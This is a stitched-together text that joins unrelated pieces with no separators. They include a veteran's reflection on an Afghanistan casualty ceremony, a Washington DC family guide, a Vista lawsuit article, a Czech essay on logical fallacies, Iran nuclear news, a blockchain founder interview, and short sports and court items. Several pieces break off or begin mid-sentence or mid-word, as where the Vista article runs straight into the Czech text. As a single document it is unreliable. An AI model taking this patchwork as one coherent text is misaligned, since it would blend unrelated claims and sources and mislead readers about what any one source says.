By chance, an officer from another provincial reconstruction team (P.R.T.) found me online. We were both former infantry officers and good friends. We’d been members of a circle of involuntary recalls called “the captain mafia” during our pre-deployment training at Fort Bragg.
He told me their P.R.T. lost two guys the day before to an I.E.D., and apologized for giving me bad news as I left for vacation. I told him about the ceremony. I had known the casualties only distantly at Bragg. We chatted a bit longer and he excused himself for a meeting.
Had I known the coffins carried remote acquaintances from another P.R.T. I might have seen more of myself in their eternity, but I doubt my reaction would have been much different.
For me, an atheist in church, the ceremony and the sacrifice it represented seemed gratuitous, though from a distance I still recognized it as appropriate; necessary, too, for the military institution.
I was like the old Italian man in “Catch-22,” or Hemingway’s Pablo. Patriotism gone, I focused on doing what I must to get along, and on not dying.
I told myself there had been and continued to be tragedies and injustices greater than the I.E.D. which killed two distant comrades. I told myself that everyone in Afghanistan at that point had chosen to be there, including me — we all rolled the same dice. That wasn’t the case in Iraq in 2003. I told myself we’d had a long look at these wars, or at least the opportunity for one and had decided to be here.
I told myself the two dead officers made the choice and other choices too. I wondered if they made bad ones, which I wouldn’t make, like neglecting to coordinate with a route clearance package or choosing to go someplace that didn’t need going. I was very careful in my planning.
Where my sympathy should have been was anger, and a feeling of absolute, positive, beyond a shadow of a doubt certainty that, God help me, I did not want to end up like them. Legacy be damned.
Roman Skaskiw served as an infantry officer with the 82nd Airborne Division in Afghanistan and Iraq. After three years of civilian life, he was recalled from the inactive reserve and deployed with a Provincial Reconstruction Team to Afghanistan’s Kunar Province. He lives in Iowa City.
To read posts from the entire series, visit the Home Fires main page.Washington, D.C. may be best known for its politically-charged atmosphere and groundbreaking historical impact, but as many parents know, it’s also one of the most popular travel destinations in the US - and a veritable playground of indoor and outdoor activities for families with children of every age. Jam-packed with monuments, museums, parks, comic shops, and countless other places to entertain and dine, there’s no shortage of best places to take kids in DC whether you’re a local or simply visiting during popular tourist seasons. But where you begin your adventures when looking for the top kid-friendly sights and attractions in town? The below list – a complete starter guide to several of the best places to take kids in DC, courtesy of the travel pros at SELECT: Your City's Secrets Unlocked – can help by providing a cheat sheet of popular favorites, and several fun and funky selections off the typical path that are guaranteed to blow kids’ minds.
Captain White’s Seafood City - Established in 1805, this live fish market on the wharf is the perfect spot to visit seafood lovers, or anyone ready to bid on bushels’ worth of freshly-caught crabs. Locally-sourced fish, shrimp, oysters and just about any other oceanfront delicacy you can imagine can quickly be found on-sale here: From cooked to raw, Captain White’s Seafood City has it all. You don’t have to look further than market’s 200-year history either for proof of its quality and popularity. The beautiful view of the river by the seating area only adds to the deliciousness of the seafood. Bring the whole family for a pleasant afternoon out, but do be prepared to face crowds if you visit on the weekend.
The Hamilton - Want to take the kids out to eat somewhere special, but don’t want to blow the blank. Hands down, The Hamilton – whose glittering bars and dining rooms will impress almost as much as its wait staff’s impeccable service is your best bet. With its upscale décor, range of multiple live on-site music venues, and an eclectic food menu (sushi, pasta, burgers, etc.) you’ll sink right into the experience – kids will especially appreciate a Toasted Marshmallow or Bananas Foster milkshake. Fun fact: Bar seating is family-friendly in case you don’t feel like waiting for a table, and live music options are often “all ages” unless otherwise specified, providing a great excuse to take in dinner and a show.
Comet Ping Pong - The name says it all: Picture a pizzeria with a starter menu chockful of other comfort food like wings and mac and cheese bites that – if you’re looking to do more than eat – also offers several spots where you can test your table tennis skills. A longtime DC favorite, the establishment event hosts regular concerts so be sure to check its calendar for upcoming shows.
International Spy Museum - Ask your kid what’s cooler than a secret agent, and they’ll be hard-pressed to come up with an answer. Noting this, the International Spy Museum provides a series of interactive exhibits designed as an homage to all things espionage-related. From shoe phones like “Get Smart” to KGB lipstick guns, you’ll find a million and one spunky spy gadgets to feast your eyes on here, while kids from around age 7 and up can enjoy scheduled activities like Code Busters Club or KidSpy Overnight camps. A must-see while in town, while it’s one of a small handful of local museums that does charge an entry fee, you’ll find the asking price well worth the ticket.
Top Golf - ATravel about 15-20 minutes southwest of D.C. and you’ll end up at the ever-popular Top Golf. This two-level driving range is great for any putter who wants to practice his or her stroke or show young tykes a thing or two about how to pound out the birdies. There are two different mini golf courses with 36 holes in all to play through, perfect for the whole family. And when you’re done hitting the links, you can make your way to the bar inside for adult beverages or dine with the family at a handy seating area.
9:30 Club - When you think 9:30 Club, you probably think of one of DC’s most popular nightclubs and concert venues. While that’s entirely true though, it’s important to remember that there are a number of acts that come through that are family-appropriate. In fact, events at the venue are often labeled “all ages” – meaning, quite literally, anyone under 21 can still get in: Even your feisty 10 year-old. It’s just a matter of choosing the right show to bring your kids to, and coordinating schedules, as some shows start around 7pm and can run much later. However, there are performances from top local and national acts virtually every night, so don’t hesitate to get the party started – it doesn’t take look to figure out just how hard a trip to one of the nation’s best concert halls rocks.
The Capitol Steps - Best described as “Second City meets D.C.,” The Capitol Steps is a hilarious troupe of comedy performers that deliver raucous laughs at the expense of the government. Most of the performers are former Hill staffers themselves, so they know a thing or two about the comedy that ensues in politics – and aren’t afraid to skewer the latest news and happenings. There shouldn’t be any worry about offending either, as the good-natured material presented (including singing/dancing numbers, impersonators, and bit comedy acts) doesn’t swing too far afield and eschews vulgar remarks. Parents and kids will love a trip to the comedy troupe’s early evening shows – and learn more about the current political landscape in any given week in the process.
Da Hong Pao - If you’ve got a hankering for some fantastic dim sum, but also need a place that caters to kids, then Da Hong Pao is recommended. Tasty food and a large open layout makes this an ideal restaurant choice for your family. Located off Logan Circle, Da Hong Pao stands out due to its authentic Cantonese dishes like chicken feet and prawn dumplings (xia jiao). But if the little ones are a bit picky you can stick with simple noodle and meat dishes as well.
Madame Tussaud’s - This world-famous wax museum boasts some of the most realistic wax models you’ll ever see in your life. From historical figures like Franklin Delano Roosevelt and Martin Luther King Jr. to contemporary pop idols like Taylor Swift and Lorde, there’s something here for any fan. You name the famous personality and there’s a good chance their life-like doppelgänger holds court here. The chance to take thousands of selfies alongside the not-quite-alive figures will thrill parents and kids alike.
H Street Country Club - Replete with skee-ball, shuffleboard, and a giant jenga setup – not to mention the star attraction, a 9-hole indoor putt-putt mini-golf course – this clever bar and restaurant is one of a kind. While primarily an establishment for those aged 21 and up, H Street Country Club does allow children before 7pm on weekdays and for brunch on the weekends (11:30am-3:330pm). Bring ‘em by for some of the best French toast in town (no really), and a couple holes – you’ll be amazed how much fun sprouts can have.
Fantom Comics - Fantom Comics is a go-to spot in the city for comic-obsessed kids ages 6-100. This little shop, located off Dupont Circle, represents everything in geekdom including Marvel characters like Spider-Man and Daredevil as well as DC icons Batman and Superman. Of course, it doesn’t come up short on indie or lesser-known titles either: Fantom has something here for everybody whether that be light-hearted fare like Archie or adult graphic novels like All You Need is Kill. Are your kids having trouble deciding what to pick? No worries – just ask the knowledgeable staff for a recommendation.
Mount Vernon - Mount Vernon, also known as the home of America’s first president, George Washington, is a must-visit for any kids or adults who have even a passing fancy for history. There’s plenty at this estate-turned-museum to keep you and your family occupied for the day. Wander the grounds and check out the house Washington called home letting your mind soak in the weight of its history. And make sure you take the time to view the plethora of short films on offer in the auditorium. One of the stand-outs is the Revolutionary War 4D experience located in the Education Center.
Paul Bakery & Cafe - This quaint French bakery offers some of the most delicious pastries this side of the Atlantic. With three locations in NW DC you can choose to spend a couple of hours in Georgetown, Foggy Bottom or Penn Quarter options with the kids. While breakfast and dessert rank among the standout offerings here, there’s also a sandwich menu if you’re looking for something more substantial. However, sweets are clearly the standout options here: You’ll find a wide variety of choices to satisfy any taste from vanilla macaroons to blueberry tarts.
Firefly - This Dupont area favorite offers quality comfort food like mac and cheese, fish tacos and biscuits and gravy at a decent price. But most importantly? Wee ones who stop by also get the chance to decorate, bake, and enjoy their own cookie for dessert. As an added bonus, the atmospheric establishment –known for a faux tree-themed inside dining experience – also offers a selection of color/flavor-changing drinks bar for adults looking to try a cocktail with an unexpected twist.When we learned Windows Vista would come in three consumer editions, we were surprised: wasn't two enough? New evidence supports the possibility that the birth of the most controversial of these—Windows Vista Home Basic—was rooted in an attempt to sell aging hardware and survive yet another holiday season without a new release of Windows. While this remains just a hypothesis for now, it is clear that Microsoft made compromises to what it considered the minimum specifications for full Vista support in order to accommodate Intel.
Ars has covered the progress of the "Windows Vista Capable" lawsuit several times since it was filed in April 2007. The lawsuit has recently been given the green light as a class action. At issue is what customers had a right to expect from a so-called "Vista Capable" system.
Despite its defense of the Vista Capable program, Redmond, it seems, had doubts. A number of internal Microsoft e-mails that pertain to the case have recently been unsealed by court order, and they paint a picture of a company divided.
Microsoft's stated goal for Windows Vista was to "raise the bar" for an OS experience. That's a lofty goal, but it doesn't necessarily track well with OEM sales targets and price points. By August of 2005, Microsoft knew what hardware specs would be required for a system to qualify for a "Vista Ready" label. According to the company's projections, however, only 20 to 30 percent of the systems on the market would qualify as Vista Ready by the spring of 2006.
This low qualification rate was a significant source of |
anou proti je rozpoznání argumentačních podpásovek. Ačkoli je čas od času používáme všichni, jejich nadlimitní výskyt v textu či diskuzi je dobrým signálem, který by nás měl minimálně varovat před příjímáním takto prezentovaných informací.
Jedná se o postupy porušující pravidla logického důkazu, působení na emoce místo na rozum a jejich cílem není vedení dialogu, nýbrž porážka oponenta, jeho očernění, odvedení pozornosti atd. Takové argumenty mohou na první pohled působit přesvědčivě, při bližším zkoumání se však jasně ukazuje, že ve skutečnosti o žádný argument nejde.
Je-li porušení pravidel logického důkazu nezáměrné, pak se mluví o argumentačním omylu či řečnické chybě. Velmi často se s nimi lze setkat v internetových diskuzích na libovolné téma, začasté živené faktickou neschopností chápání smyslu psaného textu.
„Na komentáře, v nichž rozpoznáte některý z logických podrazů nebo nějakou nečistou polemickou figuru, nemusíte odpovídat vůbec, natož věcně.“ cit. Martin Malý.
Jinými slovy:
„Je dobré poučit se, jenže nejspíš je zbytečné vysvětlovat cokoliv někomu s úmysly nečistými či někomu, kdo se ztratil v moři své subjektivní pravdy projevené neschopností nebo spíše odporem rozumět psanému textu v jeho skutečném, ne domnělém významu. ( Sociální teorie )“
Následující popis vybraných argumentačních faulů vychází z různých zdrojů, kompletně uvedených na konci článku.
Falešné dilema aneb Všechno, nebo nic
Vyvolává dojem, že existují pouze dvě ostře oddělené možnosti, přestože jich ve skutečnosti jich je celá řada. Neuznává neutrální, či kompromisní názory. Nerozeznává komplexitu problémů, u nichž není snadné najít jediné jasné vysvětlení.
Příklady:
Kdo nejde s námi, je proti nám.
Je ( muslim, emigrant, žid, komunista ) a proto je nebezpečný.
Šikmá plocha
Tvrzení, že určitý krok nutně povede k sérii neblahých následků. Pokouší se vyvolat strach bez prokázání souvislosti mezi jednotlivými kroky. Premisy podporují podzávěry, které jsou premisami dalších argumentů a tak dále a tak podobně.( M. Picha )
Příklady:
Když povolíme nosit mladým muslimkám šátek do školy, tak později budou chtít nosit burky, nastěhuje se sem více muslimů, začnou stavět mešity, zavedou šaríju, budou páchat teroristické útoky a lynčovat nás.
Když povolíme volné pobíhání psů po parcích, lidé si je budou bez košíků brát i do autobusů a za chvíli i na palubu letadel, a od toho už je jen krůček k tomu, aby pokousali pilota a způsobili leteckou katastrofu.
Lžeš. Kdo lže, ten krade. Kdo krade, může i zabít. S vrahem se nebudu bavit!
Argument oslovující nevědomost
Jedná se o variantu Falešného dilematu. Z nedokazatelnosti pravdivosti faktu nelze vyvodit závěr, že jde o lež a naopak. V diskuzích bývá úzce propojován se snahou o přenesení zodpovědnosti za předložení faktů na protistranu.
Nejznámější příklad:
Nelze dokázat, že Bůh neexistuje, tudíž Bůh existuje.
Nelze dokázat, že Bůh existuje, tudíž Bůh neexistuje.
Falešná stopa či Úhybný manévr
Cílem je odvedení pozornosti od probíraného tématu k nesouvisejícímu. Snaha odvést diskusi jinam ve chvíli, kdy dojdou argumenty.
Příklad:
A: Je smutné, že u nás i ve 21. století dochází k násilnému napadání lidí jen proto, jakou mají barvu pleti, nebo koho mají rádi.
B: No a co, podívej se, co dělají muslimáci ve světě.
Unáhlené zobecnění
Takový argument předpokládá, že vlastnost části / jednotlivce / okrajová událost je zároveň i obvyklou vlastností celku. Využívá se často ve spojitosti s nereprezentativním vzorkem.
Příklady:
David Rath byl obviněn z přijímání úplatků. Tak vidíš, že všichni politici jsou zloději!
Bleskový průzkum v Poslanecké sněmovně potvrdil, že lidé jsou spokojeni s politikou.
Dovolávání se autority
Odkazování na autoritu, obvykle ze zcela jiného oboru nebo užití falešného dilematu, pokud existuje i autorita tvrdící opak.
Příklad:
Podle XY je toto pravda, proto je to pravda.
Jarda Jágr taky říkal, že …, takže je jasný, jak se věci mají.
Dovolávat se ale lze i autority anonymní, ale dobře informovaný zdroj. Například Experti, tvrdící že.., Vědci, kteří zjistili.. atd.
Dovolávání se skupinové autority
Odvolává se na mínění většiny. Vychází z premisy, že říká-li něco více lidí, pak to musí být pravda. Nicméně se jedná o generalizaci namísto skutečné argumentace. Jednak obvykle chybí důkaz o tom, že něco říkají „všichni“, za druhé ani mínění většiny nemusí být pravdivé.
Příklad:
Znárodnění je správné, protože ho podporuje 98 % lidí.
Každý přece ví, že Romové nechtějí pracovat.
Útok na člověka
Útok na osobu namísto argumentování, pokus o znevěrohodnění poukazováním na vlastnosti, vzhled, konflikt zájmů či na jiný vedlejší znak.
( Místo toho, aby komentátor napsal své výhrady k předpokladům, postupům či vyvozeným závěrům, ohradí se proti autorovi jako takovému, napadne jeho schopnosti, odbornost či morální profil. – cit. M. Malý )
Příklad:
Stačí mi, když se podívám na fotku na tvém profilu a je mi jasné, proč plácáš takové nesmysly.
Jsi mladý a nemá smysl o tom tématu s tebou jakkoliv diskutovat!
Slučování nesouvislého a redukce příčin
Tvrzení, že události po sobě následující, spolu nutně souvisí. Stejně tak slučování současně se vyskytujících, přesto však nesouvisejících faktů. Pod tento bod lze ale i zahrnout zmatečnou záměnu příčiny a následku, či zjednodušující redukci příčin.
Příklad:
Druhou světovou válku způsobila politika appeasementu.
Důkaz kruhem
Jedná se o chybný postup deduktivního důkazu, při němž se předem předpokládá to, co se chce teprve dokazovat. Jedná se tak o sématicky prázdný důkaz, který nedokazuje zhola nic.
Příklad:
Bible je pravdivá, protože je inspirovaná slovem Božím, což víme, protože se to v ní píše.
Téma skvěle rozvinul Martin Malý
Doporučuji jeho články k argumentačním faulům – Trvale udržitelná kráva I a II.
Další zdroje:
František Koukolík, Jana Drtilová: Život s deprivanty II: základy stupidologie
https://cs.wikipedia.org/wiki/Argumenta%C4%8Dn%C3%AD_klam
http://www.hatefree.cz/co-delat-kdyz/argumentacni-fauly
www.obcanskevzdelavani.cz – argumentační fauly
http://argumentace.blogspot.cz/2014/01/kluzky-svah.htmlMr. Ahmadinejad and other authorities here have ignored the part of the report saying that Iran pursued secret nuclear weapons activities until 2003, and they have addressed only the part that says Iran’s nuclear activities have been for peaceful purposes since then.
Photo
Ali Larijani, a former nuclear negotiator and now the representative of Iran’s supreme religious leader at the Supreme National Security Council, said Wednesday that the important part of the report was its indication that the current program was peaceful, ISNA reported. He did not refer to the issue of Iran’s clandestine program cited in the report, but dismissed it indirectly, saying other subjects were included for “ill intentions — otherwise the report would have looked bad.”
The Associated Press reported that Secretary of State Condoleezza Rice, in Ethiopia on Wednesday, said, “It is the very strong view of the administration that the Iranian regime remains a problematic and dangerous regime and that the international community must continue to unite around the Security Council resolutions that it has passed.”
Ms. Rice reminded reporters that the United Nations Security Council had already demanded that Iran halt its uranium enrichment and reprocessing activities, “because those enriching and reprocessing activities permit, if they are perfected, a state to acquire fissile material for a nuclear weapon.”
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.
Russia’s foreign minister, Sergey V. Lavrov, said Wednesday at a news conference in Moscow that President Vladimir V. Putin urged Iran at a meeting on Tuesday with Saeed Jalili, Iran’s new nuclear negotiator, to heed international demands, including those for a freeze on its uranium enrichment program, the Interfax news agency reported.
Iran counts on Russia as an ally not to back tougher economic sanctions against it. Russia is building Iran’s first nuclear power plant.
The report made headlines in more than a dozen major Iranian newspapers on Wednesday. The state-run daily paper Iran called it a shock for the White House. The headline of another state-run daily, Hamshahri, was “Bush Under Pressure From the Media.”
But at least two independent daily newspapers cautioned the authorities not to rush to optimistic conclusions. An editorial in Jomhouri Eslami, an influential conservative paper, warned that the report could be a trap for Iran. It said dividing Iran’s nuclear activities into two periods, one before 2003 and one after that, was “mischief” by the Americans to convince the world that international pressure against Iran should continue.
A reformist paper, Etemad Melli, said Americans could use the section in the report about Iran’s weapons program to exaggerate the threat posed by Iran’s nuclear program and to seek tougher economic sanctions.Introduction by Qingfang Shan-Founder of Asch
Asch platform was founded in Aug-2016. Asch is a decentralized application platform, providing a series of SDK and API to help developers creating decentralized applications based on JavaScript and sidechain technology. Asch has been in operation for almost 1,5 years, producing one block every 10 seconds and more than 3.7 million blocks in the blockchain without forks or severe safety bugs. This is made possible by the innovative consensus mechanism, which runs PBFT on top of dPOS. Asch team is currently working on optimizing the underlying technique to increase its TPS and enhance safety and performance. At the moment three DAPP’s are about to be launched on the Asch platform. One of them, CCTime, is currently in its airdrop subscription phase. XAS holders who subscribe will be rewarded with CCTime tokens. Kwisdom, a market-predicting project, will be published soon as well as BBviews (a blockchain media service). After the launch of the DAPP’s the team will shift focus to improve essential services, SDK, wallet experience and underlying performance including efficiency and privacy.
Asch recently announced a strategic alliance with Bottos, a decentralized AI company. By setting up these alliances Asch wants to promote the development of the blockchain industry in a broader sense.
Next to the technical developments, Asch is currently spending a lot of efforts on building a stronger community. Asch has kept low profile for the last year, mainly focussing on the domestic community, where by now we have grown to a enthusiastic and reliable community. The Asch team has now began to gradually strengthen oversea marketing promotion. Besides research and development, our team is also very active in trying to get Asch on more exchanges. Different exchanges are contacting us at the moment although the scales of them are relatively small. Incremental improvements is exactly the strategy we take and there is a high chance of boarding on a big platform in the future. It is important to know that the concerns of our long-term investors are incorporated into our daily schedule.
Question: The key technological feature of Asch is the use of side-chain technology, can you briefly introduce the theory of side-chains?
Qingfeng Shan: The Blockstream team originally proposed the concept of side-chains in 2014. Asch team aims to develop it further. Why do we introduce side-chain technology? It solves the technical challenges faced by current blockchain such as security and scalability. Side-chains can also be used for new functional requirements such as multi-assets, smart contracts and more complex applications. With traditional blockchain technology these would be difficult to achieve.
Asch Side-chain technology can solve these problems very well. The fundamental technology we offer is asset inter-transaction, which means the asset can be transferred from the main chain to side- chains, and also from side-chains back to main chain. It is called “unidirectional anchoring” if the asset can only be transferred in, or “bidirectional anchoring” if the asset can be transferred back. There are many methods to realize the anchoring, details will not be discussed here since they have been introduced in my previous PPT, and we can talk about more technique details another time. Today I want to introduce more about the concept of Asch side-chain Asch is an application platform based on blockchain, which is also a multi-chains deformed system with a main chain and a series of side-chains in the ecosystem. Asch chain is the main chain of this platform, and the upcoming CCTime and Kwisdom are side chains. Side chains cannot transact with each other unless through the main chain. Tokens are the asset that transacted among the side-chains, such as Asch token (XAS), CCTime token (XCT) and Kwisdom token.
We will work to bring in the external tokens such as BTC in the next two or three months. By then, BTC will circulate in Asch system to participate in the use of our various applications which means any token will be free to go in or out of any chain in our multi-chains system, thus the function "multi-use for a token, multi-tokens in a chain " mentioned in my previous speech is fulfilled. Maybe what I said is abstract and hard to understand, I will explain "multi-use for a token " through the example as follows. If we have BTC, ETH and XAS in hand, we can transfer them to any side-chain application in Asch system to participate in the use of them. For example, we can transfer tokens to Kwisdom to participate in the function such as rewards, prediction, etc. It means that the applications available for any token on Asch platform will be expanded every time when there is a new application adopted in the future, this can be called "multi-use for a token.” In a word, side-chain(s) and this architecture are the characteristics of Asch platform. There are three fundamental technologies needed to achieve this purpose. The first one is the cross-chain protocol based on side-chain technology; it guarantees the inter-transaction of assets between two different chains. The second one is the assets routing which is the function of Asch main chain, it bridges the side-chain and also the transaction of assets among them. The third one is an application called SDK(Software Development Kit), just like Ethereum’s smart contract language. SDK is not a language but an application framework through which even general developers can also develop blockchain application quickly, so that the threshold to blockchain application is lowered. As long as we have these three fundamental technologies, an ecosystem based on cross chain and multi-chains can be efficiently developed. Furthermore, it is also the ideal blockchain ecosystem we intend to accomplish.
Question: OK, Mr.Shan. A friend has the same concerns as I have just now, we know that the concept of side-chains and lightning network were proposed by Blockstream, but we don’t know the similarities and differences between them. Can you talk about this topic in depth?
Qingfeng Shan: Lightning network is mainly used to realize high-performance micro-payment, which is related to the performance of payment. Side-chain is a way to implement cross-chain transactions of assets, which is a cross-chain protocol. However, they also have some similarities. For example, side-chain itself is an innovative blockchain, various kinds of performance optimization can be achieved through it, including rapid transaction and confirmation, Asch can confirm in 10s just like rootstock, for example. Lightning network also aims to solve the problem related to payment and that is their similarity. In addition to solving the problem related to payment, Asch's side-chain can achieve 1500TPS and expand the application scenarios for tokens used in it, that is the difference.
Question: Can Asch and bitcoin connected through the side-chain?
Qingfeng Shan: We are currently working on the connection with Bitcoin chain. CCTime, a DAPP to be launched on Asch platform, and predicting future DAPP Kwisdom both do have bitcoin connectivity.
Host: Thank you, Mr. Shan. I think I finally have a clear understanding of Asch now. One more question, please, just a minute. I have also met with a large number of blockchain projects due to the needs of my work, such as NEO, Bubi Chain, IBM’s Hyperledger, etc. I know that PBFT Algorithm is generally used in projects based on Consortium Blockchain. So, how did you successfully apply PBFT, the Consortium-Blockchain-based algorithm, to a Public Blockchain system with DPOS consensus? Would you please give us an in-depth introduction?
Qingfeng Shan: OK, let’s say you have a series of nodes or bookkeepers, in fact, in consortium blockchain, those bookkeepers are in charge of block production. To realize Byzantine Fault Tolerance while you already have a fixed consortium list is the primary task of PBFT. For DPOS there are two missions to complete: delegates election and Byzantine Fault Tolerance realization. In public chain, the list of delegates is always changing in real time, that is the difference with Consortium blockchain. Besides, the delegates voted by tokens cannot be entirely trusted and blocks produced by them might cause some bad influence, that is also why the BFT realization does not work very well. Delegates produce blocks by turns after being selected is an over simplified and crude mechanism. Any fork happened will be managed just by syncing with the longest chain and that is an inadequacy in consistency of DPOS consensus. In fact, that’s also why BTS and List continually forked before. Adoption of PBFT successfully avoid forking and maintain the consistency of our system.
Host: Asch indeed has many innovations, lots of projects I know usually adopt one algorithm only. Asch is the first one that adopts DPOS to solve the first half and PBFT to solve the latter half of the consensus problem, which makes us feel that Asch chain is more stable than other blockchains from the perspective of development. Ok, Mr. Shan, that is all my questions, I will leave you to interact with the rest of us, in order to make sure that you can communicate better with everyone, I will choose some questions from the discussion list, and you can talk about these questions using voice chat.
Question: Compared to Neo and Qtum, what’s the difference and advantage of Asch?
Qingfeng Shan: I would like to talk about the difference between Asch and Neo first. Antshares began in 2014 or 2015, about two years before the foundation of Asch which started in 2016. Antshares was using ideas from other blockchain projects at first and concentrated on the combination of digital assets and blockchain. Then it began to shift the focus of work to Intelligent Economy and smart contracts platform in 2017. Well, the difference between us and them is that the ultimate goal of Asch is to build an application platform from the very beginning, a scalable and secure platform based on side-chains for developers is our objective.
Question: What’s the mechanism of voting and is it manually or automatically? What’s the rule about it?
Qingfeng Shan: It can be either manually or automatically. The token-holders can log on to the wallet and vote manually or pre-setup it to auto-voting, many delegates have auto-voting script in use now. The voting rule is that the number of tokens determines the voting weight. In other words, the voting right you have is up to the amount of tokens in your account. For example, if you have 10,000 XAS, your voting-weight is a little bit more than 0.0001; 100,000 XAS in your account means you have a voting-weight of approximately 0.001.
Question: What’s the next plan of development since not so many projects based on Asch are available now?
Qingfeng Shan: There are three demonstrative applications we have designed from which CCTime has just been launched. CCTime tokens are released for free to attract users and it turns out to be in real demand, many of the users are from Asch community do subscribe for the airdrop. The free tokens are a gift to the XAS holders. As with the development of other applications, such as Kwisdom, the same strategy will be taken and we hope this helps both Asch and the DAPPS to to grow. Due to time limit I can only briefly talk about this, and if you have more questions about details, please go to our community website: bbs.asch.io and you will get everything you want to know about us.
Question: Will the 101 delegates system cause wealth concentration?
Qingfeng Shan: Well, it depends on what to be compared with, there is no absolute fair system. The 101 delegates are dynamically updated, and the whole voting process is open and transparent. Also, an elimination mechanism is in use for the 101 delegates which make sure new blood keeps coming in.Graham Zusi is an honorary saint of the Mexican national team — San Zusi, as he's been known since October 15, 2013.
If you don't know why that is, here's what happened.
In the days immediately following that goal against Panama, Zusi was showered with gifts from a local Spanish-language Kansas City radio station.
For the first time since his heroic efforts that gave Mexico one last chance to qualify for this summer's World Cup, Zusi and the US national team will face El Tri on Wednesday night (11 pm ET, ESPN/UniMas).
On Monday, the USMNT and Sporting Kansas City midfielder was once again celebrated by Mexico supporters — and media — with yet another gift of gratitude.
Mexican reporter gave Graham Zusi a bottle of Patron mid interview today. San Zusi, indeed. #USMNT — Andrew Wiebe (@andrew_wiebe) March 31, 2014
Here is how the Patron was presented to Graham Zusi. Quote following in next two tweets. #USMNT — Andrew Wiebe (@andrew_wiebe) April 1, 2014
"I promised this to my father. This is on behalf of the 365k Mexicans who you probably saved their jobs. On behalf of my family..." #USMNT — Andrew Wiebe (@andrew_wiebe) April 1, 2014
"...and other people's families, a present from us for saving our asses in the World Cup." #USMNT #SanZusi — Andrew Wiebe (@andrew_wiebe) April 1, 2014
We're still waiting for the day that the owner of a beachside resort in Mexico shows up and presents Zusi with a pass for free vacations for a lifetime.Okay I admit the last one ( fav.me/d86u6re ) sucked on the basis of composition. Well now I've fixed that problem with a sleek, flashy, new wallpaper that I'm sure everyone should enjoy now.--Taken from 'The Legend of the Bionicle' ( fav.me/d86mgkd ):"In aeons past, a group of fantastically intelligent beings wished to create civilizations of life to populate the world they lived in -- which given time resulted in the annihilation of theirs and everyone's home. As a last resort, they built a massive robot thousands of miles tall, built to reform their planet of Spherus Magna and through the interactions of the peoples living inside create the ultimate model for a society held together with a purpose.These people, tested by evolving into 'Toa' guardians, are the Matoran. They are united amidst chaos, bound by their duty to protect the Great Spirit driving their world, and destined to help rebuild a destroyed planet.This is the legend of the Bionicle."No. 15 LSU sweeps the Razorbacks
BATON ROUGE, La. -- In his first career start, freshman Caleb Gilbert tossed five innings of scoreless baseball to lead 15th-ranked LSU to a 7-1 victory and sweep over Arkansas Sunday afternoon at Alex Box Stadium, Skip Bertman Field.
Gilbert improved to 4-2 on the season after not allowing a run. The Hoover, Alabama native limited the Razorbacks to five hits and struck out a pair of batters.
Arkansas's Keaton McKinney (1-4) was charged with the loss after allowing four runs in 4.1 innings of work.
LSU returns to the road for a six-game road trip against Notre Dame and Tennessee. The Tigers will compete against the Fighting Irish on Tuesday and Wednesday in South Bend, Indiana. LSU then takes on the Volunteers in a three-game Southeastern Conference series beginning Friday, May 13 at 5 p.m. CT.
Both games against Notre Dame will be available online only through ESPN3, which is accessible through Watch ESPN and the WatchESPN app.
The games can also be heard on the LSU Sports Radio Network, including 98.1 FM in Baton Rouge. Fans can go to LSUsports.net for live stats and audio through the GeauxZone.
LSU took a 2-0 lead in the second off the bat of left fielder Brennan Breaux. Breaux ripped a two-out single up the middle to plate two runs.
The Tigers added four more runs in the fifth inning to take a 6-0 lead. Second baseman Cole Freeman scored from third on a wild pitch by McKinney. With two on, catcher Jordan Romero launched a three-run home run 383 feet into the left field bleachers.
The final LSU run of the game came in the eighth inning. With runners on first and second, centerfielder Jake Fraley singled up the middle to score first baseman Greg Deichmann.
Arkansas cut into the LSU lead in the top of the ninth inning. With runners on first and second, first baseman Cullen Gassaway singled up the middle to make it a 7-1 game.An al-Qaeda propagandist who promised endless war against the United States was sentenced to life in prison yesterday, after his conviction at Guantanamo Bay on 35 counts of solicitation to commit murder, providing material support for terrorism and conspiracy.
Ali Hamza al-Bahlul, a 39-year-old Yemeni, was the second person to be convicted by a military jury. The sentence was a boost for the Bush administration after Salim Ahmed Hamdan, Osama bin Laden's driver, received a light sentence in August in the first war-crimes jury trial held at the U.S. naval base in Cuba.
"When will it be safe for this man to leave confinement?" said Army Maj. Daniel Cowhig, the lead prosecutor, speaking to nine jurors. "Never!"
The jury deliberated for four hours yesterday before convicting Bahlul and took less than an hour to hand up a life sentence.
The court was told that Bahlul, described by prosecutors as al-Qaeda's media chief, directed gory recruitment videos celebrating terrorist attacks and taped the final statements of two of the hijackers who attacked the United States on Sept. 11, 2001. Bahlul sat with bin Laden that day to follow radio coverage of the attacks, prosecutors said.
Bahlul refused to defend himself at the week-long trial and instructed his military attorney to remain silent throughout the proceedings, an order that the lawyer said he followed with great reluctance.
Bahlul spoke for about 45 minutes before sentencing yesterday and submitted to the court a 60-line poem that celebrated the attacks on what he called the "infidels' trade towers."
"We will fight any government that governs America," Bahlul said. "We are the only ones on Earth who stand against you." Bahlul called the proceedings a legal farce but said he was upset that the trial didn't attract more media coverage.
Three men have been convicted in military commissions at Guantanamo Bay, two after jury trials and one, Australian David Hicks, after a guilty plea was entered. Hicks was sent home. There are about 255 prisoners at Guantanamo, and 17 of them are facing war crimes charges.
Critics of the military commissions system called the conviction yesterday a hollow victory for the government.
"In seven years we've managed to complete three trials: Hicks, Hamdan, and al Bahlul, or as I'd summarize it: a dupe, a driver, and a default," said former chief military prosecutor Col. Morris Davis in an e-mail. Morris, who quit after clashing with administration officials over how to proceed with cases, described Bahlul as a "default" because he didn't defend himself.
But Col. Lawrence Morris, the chief military prosecutor, said that the government was not responsible for someone's refusal to defend himself, and that the Bahlul trial was transparent and fair.
"I would love someone to tell me at what point something occurred here that offended their sense of justice," Morris said. "I would love some specific criticism from someone who paid attention to the trial."
It is unclear where Bahlul will serve his time. Sens. John McCain and Barack Obama have promised, if elected president, to close the military prison at Guantanamo, although neither has laid out a plan to achieve what is likely to be a complex legal, diplomatic and logistical task.After 23 years of flouting constitutional rights, federal court orders, and common decency, Maricopa County Sheriff Joe Arpaio will no longer be an embarrassment to the U.S. criminal justice system.
